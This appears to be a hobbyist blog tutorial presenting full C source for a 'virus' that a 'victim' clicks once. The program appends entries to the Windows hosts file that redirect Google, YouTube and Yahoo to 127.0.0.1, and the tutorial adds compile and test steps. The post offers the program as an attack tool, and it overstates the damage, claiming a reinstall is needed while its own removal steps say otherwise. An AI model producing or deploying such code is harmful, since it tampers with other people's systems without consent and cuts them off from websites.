A Virus Program to Block Websites

Most of us are familiar with the virus that used to blockOrkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ tocreate this website blockingvirus. I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’ . So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is notjust confined to IE or Firefox . So once blocked, the site will not appear in any of the browser program.
NOTE: You can alsoblock a website manually. But, here I have created a virus that automates all thesteps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.
#include
#include
#include
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File blockstructure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of thefile*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
How to Compile ?
For step-by-step compilation guide, refer my post How to compile C Programs .
Testing
1. To test, run the compiled module. It will block the sitesthat is listed in the source code.
2. Once you run the file block_Site.exe , restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “ Page cannot displayed “.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of theopened file you’ll see something like this
127.0.0.1 google.com
5. Delete all such entries which contain the names of blocked sites